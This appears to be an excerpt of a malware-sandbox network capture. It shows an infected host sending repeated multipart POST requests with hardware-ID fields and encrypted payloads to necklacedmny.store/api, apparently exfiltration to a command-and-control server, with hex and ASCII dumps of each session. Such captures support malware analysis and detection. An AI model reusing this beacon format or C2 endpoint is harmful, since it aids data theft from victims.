2024-10-31 22:39:04 UTC	1369	IN	Data Raw: 61 63 52 6c 49 69 55 46 64 7a 61 36 43 6d 62 4e 31 61 38 34 72 79 6b 66 47 2f 5a 31 42 57 35 7a 62 49 38 4d 6b 38 54 37 41 76 78 36 69 4b 61 6e 59 55 51 6d 75 48 30 4b 6f 73 36 57 72 57 6f 6f 4f 74 76 4a 74 6e 51 55 75 4b 66 39 48 31 37 53 77 53 74 57 72 33 4f 49 49 47 57 6c 46 61 42 70 65 64 71 69 6a 41 62 36 4f 4b 6e 34 47 6f 72 32 64 52 54 35 49 75 35 4d 6a 52 4e 48 4f 49 47 39 75 34 68 6b 70 57 42 47 35 72 35 39 43 47 43 4d 46 4b 38 72 2b 4f 6b 4a 53 6a 47 6d 41 32 68 76 4c 6b 39 4e 55 73 4b 72 52 32 7a 2f 6d 65 55 6c 4d 52 4f 33 75 72 79 4a 59 34 7a 57 4c 4f 6a 71 66 68 33 49 39 66 51 55 4f 32 47 75 6a 55 70 53 68 50 6b 41 66 37 75 49 4a 75 55 6a 68 57 5a 71 37 42 71 69 69 51 62 36 4f 4b 41 2f 58 55 69 6e 73 63 62 2b 4d 32 7a 50 33 73 55 58 4f 55 50 Data Ascii: acRlIiUFdza6CmbN1a84rykfG/Z1BW5zbI8Mk8T7Avx6iKanYUQmuH0Kos6WrWooOtvJtnQUuKf9H17SwStWr3OIIGWlFaBpedqijAb6OKn4Gor2dRT5Iu5MjRNHOIG9u4hkpWBG5r59CGCMFK8r+OkJSjGmA2hvLk9NUsKrR2z/meUlMRO3uryJY4zWLOjqfh3I9fQUO2GujUpShPkAf7uIJuUjhWZq7BqiiQb6OKA/XUinscb+M2zP3sUXOUP
2024-10-31 22:39:04 UTC	1369	IN	Data Raw: 79 52 6a 52 4b 57 36 50 34 75 69 54 74 65 73 36 36 6f 37 57 59 67 32 74 46 62 36 49 4c 30 66 58 74 4c 42 4b 31 61 76 63 59 38 6b 4a 53 4a 56 6f 47 6c 35 32 71 4b 4d 42 76 6f 34 71 2f 6b 59 43 2f 55 33 6c 48 6b 69 37 34 32 4f 30 63 66 34 67 62 37 34 79 69 54 6b 34 30 58 6d 4f 37 30 49 59 73 78 57 4c 61 6b 34 36 51 6c 4b 4d 61 59 44 61 47 74 72 7a 34 33 53 31 7a 79 54 4f 53 6e 49 4a 2f 59 33 46 61 56 35 2f 6f 74 6a 54 46 59 75 4b 65 6e 34 47 41 76 31 73 70 64 34 59 71 6d 49 54 74 46 47 65 45 42 2f 65 4d 68 6d 70 36 48 45 74 36 6c 76 69 32 56 66 41 50 77 6a 36 2f 74 54 43 6a 46 6d 45 71 76 6c 50 51 30 4e 77 78 45 72 51 50 32 37 53 69 65 6d 34 49 56 6c 65 37 30 4b 34 6f 30 56 71 4b 68 72 4f 56 68 4c 39 48 65 55 2b 43 43 73 6a 51 79 54 52 54 71 51 72 4f 6e 49 Data Ascii: yRjRKW6P4uiTtes66o7WYg2tFb6IL0fXtLBK1avcY8kJSJVoGl52qKMBvo4q/kYC/U3lHki742O0cf4gb74yiTk40XmO70IYsxWLak46QlKMaYDaGtrz43S1zyTOSnIJ/Y3FaV5/otjTFYuKen4GAv1spd4YqmITtFGeEB/eMhmp6HEt6lvi2VfAPwj6/tTCjFmEqvlPQ0NwxErQP27Siem4IVle70K4o0VqKhrOVhL9HeU+CCsjQyTRTqQrOnI
2024-10-31 22:39:04 UTC	351	IN	Data Raw: 52 6a 75 7a 70 4a 63 31 79 47 37 2f 69 2b 39 4d 6c 4a 74 6e 44 52 50 65 41 70 44 52 37 63 31 4b 74 47 72 32 2f 5a 36 61 62 69 68 69 5a 2f 65 39 6e 71 69 70 52 74 37 4b 6b 2f 57 70 76 6b 4a 68 54 6f 64 58 6e 66 58 74 49 44 61 31 61 72 62 56 38 78 73 76 54 52 73 7a 30 73 44 50 4e 4b 68 76 6f 38 4f 32 71 64 32 2b 47 6d 42 4c 69 6e 36 59 31 4f 46 6f 66 71 6a 7a 44 77 44 32 65 6e 70 4d 48 6f 4e 58 35 4d 49 41 36 54 4b 48 75 74 75 6c 72 49 64 6e 4f 46 61 2f 4e 75 33 4e 6a 64 56 79 6c 51 73 4b 70 5a 34 76 59 33 46 61 72 36 50 41 6b 69 69 70 4b 2f 59 57 35 35 32 4d 34 7a 35 67 62 6f 59 76 30 61 32 73 43 58 4f 6b 54 76 62 39 33 77 63 50 52 52 63 6d 37 72 44 58 44 4a 52 75 6d 34 76 75 34 4b 32 2f 4d 6d 41 32 68 79 72 63 68 4b 55 6f 66 2b 77 47 36 32 52 6d 39 6e 34 Data Ascii: RjuzpJc1yG7/i+9MlJtnDRPeApDR7c1KtGr2/Z6abihiZ/e9nqipRt7Kk/WpvkJhTodXnfXtIDa1arbV8xsvTRsz0sDPNKhvo8O2qd2+GmBLin6Y1OFofqjzDwD2enpMHoNX5MIA6TKHutulrIdnOFa/Nu3NjdVylQsKpZ4vY3Far6PAkiipK/YW552M4z5gboYv0a2sCXOkTvb93wcPRRcm7rDXDJRum4vu4K2/MmA2hyrchKUof+wG62Rm9n4
2024-10-31 22:39:04 UTC	1369	IN	Data Raw: 32 36 66 30 0d 0a 66 41 50 69 37 4f 50 34 4a 58 65 65 6e 31 62 7a 6e 37 49 77 4c 55 39 62 30 7a 7a 2b 38 53 71 63 6b 34 55 6f 6f 4d 58 7a 4b 34 34 79 47 59 47 30 72 76 70 6d 4b 74 6e 6d 61 2b 2b 4b 6f 44 51 31 53 68 79 74 54 4c 33 6f 5a 38 75 68 78 46 37 65 31 4c 42 71 6c 58 77 44 38 4a 65 67 35 47 73 6f 79 4d 6b 59 77 70 75 35 50 44 42 4e 58 4b 4e 43 2b 36 64 2f 77 39 62 45 45 6f 2b 72 70 6e 72 66 5a 77 37 6a 39 66 4f 34 65 6d 48 48 6d 45 4f 68 31 65 5a 39 65 31 35 63 74 55 4b 36 36 53 71 53 6d 34 6f 56 6a 50 6e 34 4b 5a 73 2f 48 49 36 63 67 75 64 75 49 39 50 58 58 74 2b 7a 6c 54 34 77 51 42 48 69 43 63 50 5a 4d 70 43 57 69 68 47 49 2b 72 35 6b 7a 54 4d 62 36 4a 76 6a 6f 69 55 51 6b 4a 68 4e 6f 64 58 30 42 6a 68 43 45 75 6f 55 37 4b 6f 47 6e 70 4f 49 47 Data Ascii: 26f0fAPi7OP4JXeen1bzn7IwLU9b0zz+8Sqck4UooMXzK44yGYG0rvpmKtnma++KoDQ1ShytTL3oZ8uhxF7e1LBqlXwD8Jeg5GsoyMkYwpu5PDBNXKNC+6d/w9bEEo+rpnrfZw7j9fO4emHHmEOh1eZ9e15ctUK66SqSm4oVjPn4KZs/HI6cguduI9PXXt+zlT4wQBHiCcPZMpCWihGI+r5kzTMb6JvjoiUQkJhNodX0BjhCEuoU7KoGnpOIG
2024-10-31 22:39:04 UTC	1369	IN	Data Raw: 70 6e 79 35 64 73 37 53 67 72 56 73 52 2b 38 39 57 38 59 75 33 44 51 56 6e 45 4f 73 46 35 2b 41 68 74 62 6a 45 57 4e 37 6b 76 6e 4b 30 66 42 50 77 6e 65 32 71 66 57 2b 47 6d 47 44 69 67 37 6f 30 4c 56 31 52 79 42 58 2b 39 79 47 51 32 4d 70 57 6d 4b 75 6d 65 73 4e 38 58 36 48 69 2b 37 6f 33 64 49 75 4c 41 72 48 66 71 33 30 69 44 41 71 74 57 71 2b 70 5a 34 48 59 33 46 62 5a 36 4f 77 34 69 7a 39 4e 73 2b 57 64 31 45 4d 73 7a 39 4a 30 37 4a 32 7a 44 51 56 5a 48 2b 4d 4d 2b 76 45 32 30 39 62 45 47 64 36 7a 78 32 72 46 63 46 32 7a 74 4f 50 56 4b 32 2f 47 6d 41 32 68 75 4c 63 39 4e 55 73 4b 2f 45 2f 62 35 44 61 5a 75 59 6b 47 6d 61 75 77 61 6f 74 38 41 2b 50 73 34 2b 35 30 62 34 61 49 42 37 72 59 35 32 52 72 48 67 4f 6a 47 37 33 78 5a 38 76 4b 79 6c 61 4d 71 36 Data Ascii: pny5ds7SgrVsR+89W8Yu3DQVnEOsF5+AhtbjEWN7kvnK0fBPwne2qfW+GmGDig7o0LV1RyBX+9yGQ2MpWmKumesN8X6Hi+7o3dIuLArHfq30iDAqtWq+pZ4HY3FbZ6Ow4iz9Ns+Wd1EMsz9J07J2zDQVZH+MM+vE209bEGd6zx2rFcF2ztOPVK2/GmA2huLc9NUsK/E/b5DaZuYkGmauwaot8A+Ps4+50b4aIB7rY52RrHgOjG73xZ8vKylaMq6

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.4	50132	188.114.97.3	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 22:39:05 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 18168 Host: necklacedmny.store
2024-10-31 22:39:05 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 31 42 33 43 45 32 34 42 41 31 34 39 42 43 32 32 44 38 44 44 45 46 33 44 46 36 31 45 46 44 38 34 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"1B3CE24BA149BC22D8DDEF3DF61EFD84--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-31 22:39:05 UTC	2837	OUT	Data Raw: bb b9 8c 98 dd 7e cd 12 32 f5 4d e7 b8 03 4d ad dd 29 81 f2 25 6f 8d 9b f3 9f 07 bb ae 6e c1 f4 74 a0 46 9e dd 44 3a b6 ea f7 8d 77 8c 30 f7 2d 3a 5e 78 e6 d9 84 b0 07 c8 dc 44 8b 5c 37 7b fb ca 23 5f 36 6d 2b c9 df b7 24 a9 bc 70 d3 dd 98 da 4d 16 48 c1 d0 c9 d5 49 13 55 45 68 ed 5e ef aa d6 a5 b6 55 e8 30 13 67 aa 7a 0c 44 f5 2f c0 e3 2b e7 fb 3b 59 90 f0 70 93 c0 3f ee 4c 10 0e bb be eb 3c d7 34 e8 6e cd 74 c5 e2 cb eb 6d db e8 13 05 d7 da ba 6c 95 3d a2 38 f5 d7 4b e3 d4 69 a8 33 83 0e 15 fa 46 ca d1 d5 a4 6f 98 ff ba be f6 4f ec e7 b8 41 b9 35 35 6f df d7 6e b4 81 3d a9 b9 db c0 6c dc 0d bd e3 2e 85 05 bc 3b 82 4b 1b 1e ce 0b 47 dd 7b be cb 51 82 bb d3 d3 f4 36 9c 58 ee 7c 6d cc b2 92 e5 6e b1 c6 c7 5e d9 b7 ac 49 aa b3 55 f5 d2 ec 6d 9e f3 27 aa 33 Data Ascii: ~2MM)%ontFD:w0-:^xD\7{#_6m+$pMHIUEh^U0gzD/+;Yp?L<4ntml=8Ki3FoOA55on=l.;KG{Q6X\|mn^IUm'3
2024-10-31 22:39:06 UTC	1016	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 22:39:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ki1fvheu41q2hcup58pekbie7f; expires=Mon, 24-Feb-2025 16:25:45 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ssBoJ%2Fz4xZsZAGnsme5A05ZLezcst4aB9O4UM%2BGAttJ9IWcxb2uubXis1PR%2FV6KM5vrJ42nxCx3ISVPGGCYDXJH8LleS3N9cF9n0P0YWReEtRRiKQ2H4dxalCgxM9QQQuckJvNA%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db7239cfc722e4e-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1171&sent=11&recv=25&lost=0&retrans=0&sent_bytes=2844&recv_bytes=19132&delivery_rate=2518260&cwnd=32&unsent_bytes=0&cid=f949903969a855c0&ts=634&x=0"
2024-10-31 22:39:06 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 37 0d 0a Data Ascii: 11ok 173.254.250.77
2024-10-31 22:39:06 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.4	50133	188.114.97.3	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 22:39:07 UTC	283	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8789 Host: necklacedmny.store
2024-10-31 22:39:07 UTC	8789	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 31 42 33 43 45 32 34 42 41 31 34 39 42 43 32 32 44 38 44 44 45 46 33 44 46 36 31 45 46 44 38 34 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"1B3CE24BA149BC22D8DDEF3DF61EFD84--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-31 22:39:07 UTC	1020	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 22:39:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=cmaug21cd901cth0bt5gi0mno1; expires=Mon, 24-Feb-2025 16:25:46 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=N%2BFCvT%2BJYSAmzBcVsR7IdmyawVjjJqg8dXueJXA3dcuUG0elf3dQEFuLd9lqEjQZd%2B8bxN%2BmY54VHe0aMpjtRwp0ZFuHc4KYN8NdyNgPAaA9Yxv%2Bs8ASYsZCDf0WKDARiC9UJIQ%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db723a589136b32-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1153&sent=11&recv=15&lost=0&retrans=0&sent_bytes=2845&recv_bytes=9730&delivery_rate=2437710&cwnd=251&unsent_bytes=0&cid=90d288c4ef15d434&ts=614&x=0"
2024-10-31 22:39:07 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 37 0d 0a Data Ascii: 11ok 173.254.250.77
2024-10-31 22:39:07 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.4	50134	188.114.97.3	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 22:39:08 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20442 Host: necklacedmny.store
2024-10-31 22:39:08 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 31 42 33 43 45 32 34 42 41 31 34 39 42 43 32 32 44 38 44 44 45 46 33 44 46 36 31 45 46 44 38 34 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"1B3CE24BA149BC22D8DDEF3DF61EFD84--be85de5ipdocierre1Content-Disposition: form-data; name="pid"3--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-31 22:39:08 UTC	5111	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 60 93 1b 88 82 85 4d 3f 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 72 83 51 b0 b0 e9 a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 4d 6e 20 0a 16 36 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 c9 0d 46 c1 c2 a6 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 b9 81 28 58 d8 f4 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 26 37 18 05 0b 9b 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e4 06 a2 60 Data Ascii: `M?lrQMn 64F6(X&7~`
2024-10-31 22:39:09 UTC	1017	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 22:39:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=mgfievc8n7251jtji23h6pjfkp; expires=Mon, 24-Feb-2025 16:25:47 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=pM4%2F2q42tRTyxOrK1181ceBsS4Yi3kjbnwccqI3tSdGOCZO4Sne1fPlR0ZpfWuL4qK5r%2BtVrQkNyeU5asK1YX4DPILab6FtshfQxFiJaUtQb0MIU%2FHk2110LUVFI3yGjB5Xu1Ww%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db723ae696a6c62-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1095&sent=16&recv=26&lost=0&retrans=0&sent_bytes=2845&recv_bytes=21406&delivery_rate=2487972&cwnd=242&unsent_bytes=0&cid=65f7f655148e6883&ts=579&x=0"
2024-10-31 22:39:09 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 37 0d 0a Data Ascii: 11ok 173.254.250.77
2024-10-31 22:39:09 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.4	50135	188.114.97.3	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 22:39:09 UTC	283	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1323 Host: necklacedmny.store
2024-10-31 22:39:09 UTC	1323	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 31 42 33 43 45 32 34 42 41 31 34 39 42 43 32 32 44 38 44 44 45 46 33 44 46 36 31 45 46 44 38 34 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"1B3CE24BA149BC22D8DDEF3DF61EFD84--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-31 22:39:10 UTC	1018	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 22:39:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=7qdjr3usfhp44ap1v3f8au5rqp; expires=Mon, 24-Feb-2025 16:25:49 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=fDbyENjvKQ6ZFcb71fJ488s1DRg%2Bu6oftyxtBLvy7xztVl9wk2y%2Bcj2wUo5JG3twkvQUERLfO1iWCV6M%2BJmzIPU0dthmElDiN%2B6qXDO59sGbkAmPM67oWe%2F0KN82kxvDGgyqpJE%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db723b718714774-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1869&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2846&recv_bytes=2242&delivery_rate=1505980&cwnd=248&unsent_bytes=0&cid=e4d6f64b15ae8c96&ts=479&x=0"
2024-10-31 22:39:10 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 37 0d 0a Data Ascii: 11ok 173.254.250.77
2024-10-31 22:39:10 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.4	50137	188.114.97.3	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 22:39:12 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 29574 Host: necklacedmny.store
2024-10-31 22:39:12 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 31 42 33 43 45 32 34 42 41 31 34 39 42 43 32 32 44 38 44 44 45 46 33 44 46 36 31 45 46 44 38 34 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"1B3CE24BA149BC22D8DDEF3DF61EFD84--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-31 22:39:12 UTC	14243	OUT	Data Raw: 08 2a 40 d5 15 bc a3 14 96 1b 59 e7 f3 0d 82 16 5a 1a 87 f0 c2 a0 61 e1 bb b5 85 a4 a2 be b7 6e dc 5a 89 c9 6f 0d 37 33 24 7c f5 12 29 1e 50 51 4b c2 da c6 6e f9 6d 37 3e ba 07 00 b9 05 ae d7 ff 18 35 e6 4f bc 17 8e 45 0f d6 01 a0 4b 3f 94 36 b8 fd e4 f8 0f 56 d3 cd b0 aa 2c 9e 69 9f 3c 30 65 fc da 99 98 67 d6 0e ab 01 57 a8 02 5c b2 72 fa 6f b6 8b 13 60 23 e0 52 ff 5c be b1 7c f8 39 50 9b 91 c4 64 4f 7a da a5 48 a6 f2 13 7a ff 2d 6d e5 a3 21 ea e3 81 af 6c 1b c9 b0 ee 55 5d 6c 2d db 7e f1 e2 41 b1 15 5d 10 5b 91 fd c6 e9 02 fb e4 47 49 d7 e3 a6 24 cc 4c 5b ba d2 84 c8 39 72 0e d2 2e c7 91 74 33 43 5d 72 82 d2 f6 be 01 ec 07 3b 22 ae eb a6 0f cd bf 2b 82 d4 fa 1e 05 5f 0a 7c 03 d4 78 e1 e6 14 e6 bf 35 a6 cb 03 6d fc 84 44 af cf 09 fa 6f 6d 3b cf c3 df 7a Data Ascii: *@YZanZo73$\|)PQKnm7>5OEK?6V,i<0egW\ro`#R\\|9PdOzHz-m!lU]l-~A][GI$L[9r.t3C]r;"+_\|x5mDom;z
